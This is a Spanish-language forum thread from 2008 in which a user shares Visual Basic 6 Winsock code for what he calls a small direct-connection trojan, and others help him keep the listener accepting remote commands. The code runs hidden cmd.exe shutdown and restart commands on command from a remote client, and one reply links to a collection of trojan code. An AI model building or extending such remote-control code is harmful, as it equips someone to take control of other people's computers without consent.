Autor
|
Tema: SOLUCIONADO ;Duda empezando con winsock (Leído 6,723 veces)
|
Littl3
Desconectado
Mensajes: 239
Tarde o temprano aparece el hombre
|
Buenas, estoy creandome un pequeño troyano de conexion directa para familiarizarme con el winsock, el codigo del server es el siguiente: Private Sub Form_Load()
Escuchar
End Sub
Private Sub Escuchar()
Ws.Listen ' Escucha en x puerto WAClase = "VBE" End Sub
Private Sub Ws_ConnectionRequest(ByVal RequestID As Long) Ws.Close Ws.Accept RequestID 'acepta conexiones End Sub Private Sub Ws_DataArrival(ByVal bytestotal As Long) Dim datos As String Ws.GetData datos ' datos recibidos a la variable datos txtDatos.Text = datos End Sub
Private Sub txtDatos_Change() If txtDatos.Text = "apa" Then Shell ("cmd.exe /c shutdown -s -t 1")
End If If txtDatos.Text = "rei" Then Shell ("cmd.exe /c shutdown -r -t 2"), vbHide
End If If txtDatos.Text = "mensaje" Then MsgBox ("X mensaje ")
End If
End Sub
Pues bien, el cliente conecta bien con el servidor, al darle la orden para el MsgBox ("X mensaje") el mensaje sale correctamente , pero vuelvo a darle la misma orden y el servidor me ignora totalmente, desconecto desde el cliente y intento volver a conectar y no encuentra el servidor, e mirado en procesos y el servidor sigue ejecutandose asi que no lo entiendo, se supone que el winsock deberia seguir a la escucha i aceptar conexiones entrantes no? como es possible que el servidor siga ejecutandose pero no reciba ordenes del cliente :S Es como si el servidor solo aceptase una orden y despues dejase de escuchar. Gracias de antemano salu2
|
|
« Última modificación: 6 Marzo 2008, 12:06 pm por Littlehack »
|
En línea
|
|
|
|
juancho77
Desconectado
Mensajes: 455
rie con demencia
|
se supone que el winsock deberia seguir a la escucha i aceptar conexiones entrantes no? como es possible que el servidor siga ejecutandose pero no reciba ordenes del cliente :S Porque el servidor llama al procedimiento Escuchar solo en el load del form1. Entonces cuando se cierra la conexion, tendrias que ponerle que lo llame de vuelta. Eso seria en el evento Error y Close del winsock.
|
|
|
En línea
|
|
|
|
krackwar
Desconectado
Mensajes: 900
|
lo uqe yo hago es poner un timer i si el ws.state no es = a 7 entonces esuche edito:emves de hacer lo que haces para el mensaje ocupa esto: If Left(datos, 3) = "msg" Then datos = Right(datos, Len(datos) - 3) msgbox (datos) End If end sub entonces pones una textbox en el cliente ai escribes el mensaje i al apretar el boton emviar mensaje haga esto ws.senddata "msg"&txtmsg.text toma un post que hice con cosas para los troyanos http://invisiblehack.mforos.com/1109918/6704001-codes-para-ponerles-a-los-troyanos-que-uds-hagan/?marcar=krackwar
|
|
« Última modificación: 5 Marzo 2008, 02:47 am por krackwar »
|
En línea
|
Mi blogBienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran. El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.
|
|
|
juancho77
Desconectado
Mensajes: 455
rie con demencia
|
Si, lo que pasa es que con un timer saturas mas la computadora. Imaginate que cada un segundo (o el tiempo que tu elijas) el servidor estara preguntando lo mismo, muchas veces inutilmente. Con los estados del Winsock por ahi es mas...profesional. Pero en tu caso, con una aplicacion "sencilla" como esta ni se notara.
|
|
|
En línea
|
|
|
|
krackwar
Desconectado
Mensajes: 900
|
sise que ocupa mas ram pero como dices si el server es como lo escribes haca ni se nota la diferencia
|
|
|
En línea
|
Mi blogBienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran. El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.
|
|
|
Littl3
Desconectado
Mensajes: 239
Tarde o temprano aparece el hombre
|
gracias a los 2, ahora cuando llegue a clase probare con el timer y me mirare el post, luego os cuento, salu2 Edito: Buenas, e añadido el timer con interval 3000 y lo e puesto tal como haveis dicho o eso creo xD Private Sub TimerEsuchar_Timer()
Escuchar
End Sub
Private Sub Escuchar() Ws.Listen ' Escucha en x puerto WAClase = "VBE" End Sub
Private Sub Ws_ConnectionRequest(ByVal RequestID As Long) Ws.Close Ws.Accept RequestID 'acepta conexiones End Sub Private Sub Ws_DataArrival(ByVal bytestotal As Long) Dim datos As String Ws.GetData datos ' datos recibidos a la variable datos txtDatos.Text = datos End Sub
Private Sub txtDatos_Change() If txtDatos.Text = "apa" Then Shell ("cmd.exe /c shutdown -s -t 1")
End If If txtDatos.Text = "rei" Then Shell ("cmd.exe /c shutdown -r -t 2"), vbHide
End If If Left(datos, 3) = "msg" Then 'Si los 3 caracteres de la izquierda son = a msg datos = Right(datos, Len(datos) - 3) 'Datos sera = empezando por la derecha todos los caracteres - 3 (msg) MsgBox (datos) End If End Sub
Cuando pasan los 3 segundos me marca el siguiente Error: Error '10037' en tiempo de ejecucion: The operation is completed. No blocking operation is in progress. Me señala la linea Ws.Listen ' Escucha en x puerto
|
|
« Última modificación: 5 Marzo 2008, 08:37 am por Littlehack »
|
En línea
|
|
|
|
cassiani
Desconectado
Mensajes: 978
« Anterior | Próximo »
|
Cuando pasan los 3 segundos me marca el siguiente Error:
Error '10037' en tiempo de ejecucion: The operation is completed. No blocking operation is in progress. Me señala la linea Ws.Listen ' Escucha en x puerto
Prueba a usar comprobación de estado antes de la linea donde te marca el error: 'Si el socket no esta conectado ni en escucha entonces... If Ws.State <> 2 And Ws.State <> 7 Then
Aunque no te recomendaria lo del Timer, deberías hacer lo que dice juancho77 despues de que la conexión se cierre tendrias que ponerle que lo llame de vuelta. Eso seria en el evento Error y Close del winsock.
|
|
« Última modificación: 5 Marzo 2008, 16:23 pm por C@ss¡@n¡ »
|
En línea
|
|
|
|
juancho77
Desconectado
Mensajes: 455
rie con demencia
|
Private Sub Timer1_Timer() If Winsock1.State <> 2 & Winsock1.State <> 7 Then Winsock1.Close ' acordate siempre de cerrarlo Winsock1.Listen End If If Winsock1.State = sckConnected Then Label1.Caption = "conectado" End If End Sub Te faltaba el winsock1.close. O sea, pone lo que dice casiani y si el socket no esta ni conectado ni escuchando entonces Winsock1.Close y lo que vos quieras. Ahi deberia andar.
|
|
|
En línea
|
|
|
|
|
juancho77
Desconectado
Mensajes: 455
rie con demencia
|
yo? que? ah??!
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
[Solucionado] Connectar a dos ip Winsock
Programación Visual Basic
|
Leinad5991
|
3
|
3,750
|
1 Enero 2011, 15:58 pm
por Leinad5991
|
|
|
Empezando en C/C++ primera duda
Programación C/C++
|
devKL
|
8
|
3,349
|
11 Noviembre 2011, 03:44 am
por devKL
|
|
|
[Solucionado]Troyano MASM (duda con WINSOCK)
ASM
|
.:UND3R:.
|
3
|
3,346
|
12 Mayo 2013, 18:49 pm
por .:UND3R:.
|
|
|
duda ejercicio, empezando con C
Programación C/C++
|
++c
|
8
|
3,407
|
1 Mayo 2014, 16:06 pm
por vangodp
|
|
|
Error con send de Winsock (Solucionado)
Programación C/C++
|
AlbertoBSD
|
0
|
1,427
|
1 Diciembre 2018, 23:21 pm
por AlbertoBSD
|
|